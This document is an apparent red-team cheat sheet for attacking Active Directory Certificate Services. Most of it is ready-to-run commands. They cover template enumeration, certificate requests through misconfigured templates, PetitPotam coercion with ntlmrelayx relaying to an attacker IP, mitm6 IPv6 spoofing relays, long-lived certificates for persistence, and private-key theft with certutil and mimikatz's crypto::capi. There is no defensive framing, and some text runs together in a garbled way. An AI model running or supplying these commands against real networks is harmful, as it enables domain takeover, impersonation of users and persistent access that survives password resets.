Overview of ADCS
Key Components
The first step in attacking ADCS is understanding the configuration of the CA, its templates, and associated permissions. Enumerating these components reveals potential misconfigurations that can be exploited.
certipy find -u {username} -p {password} -dc-ip {dc_IP} -text -stdout
[!] Vulnerabilities
in templates and certificatesldapsearch -x -h {DC_IP} -b "CN=Configuration,DC=domain,DC=com" "(objectClass=pKIEnrollmentService)"
certutil -template
ADCS often suffers from misconfigurations or insecure defaults that attackers can exploit. Here are the primary vulnerabilities:
Exploitation of Misconfigured Certificate Templates Certificate templates define which users can request specific types of certificates. When a template is misconfigured to allow enrollment by “Authenticated Users,” any domain user can request a certificate that provides elevated privileges. This is a common misstep in ADCS deployments.
certipy find -u {username} -p {password} -d {domain}
certipy request -u {username} -p {password} -d {domain} -template {template_name}
Rubeus.exe asktgt /user:{username} /certificate:{path_to_cert} /password:{password}
NTLM Relay with PetitPotam The PetitPotam attack coerces a target server to authenticate to an attacker-controlled machine via NTLM. When relayed to the ADCS web enrollment service, this can be used to request certificates that allow domain escalation.
PetitPotam.py {target_DC_IP} {attacker_IP}
ntlmrelayx.py -t http://{ADCS_IP}/certsrv/certfnsh.asp
Machine-in-the-Middle with mitm6 ADCS systems are often vulnerable to IPv6 spoofing attacks. Tools like mitm6 allow attackers to intercept NTLM traffic, relaying it to request certificates for privilege escalation.
mitm6 -d {domain}
ntlmrelayx.py -6 -t ldap://{DC_IP} --adcs
Persistence with Certificates
Certificates are an excellent mechanism for persistence because they allow authentication without passwords. By requesting a long-lived certificate, attackers can maintain access even if the compromised user’s password is changed.
certipy request -u {username} -p {password} -d {domain} -template {template_name} -validity {days}
certutil -exportPFX -p {password} -cert {cert_name} {output_path}
Rubeus.exe asktgt /user:{username} /certificate:{path_to_cert}
Certificate Theft Attackers can extract private keys and certificates from systems to impersonate users or maintain persistence.
crypto::capi
certutil -exportPFX -user -p {password} my {output_file}
Stolen certificates can be used in attacks such as pass-the-certificate to impersonate users or maintain access to systems.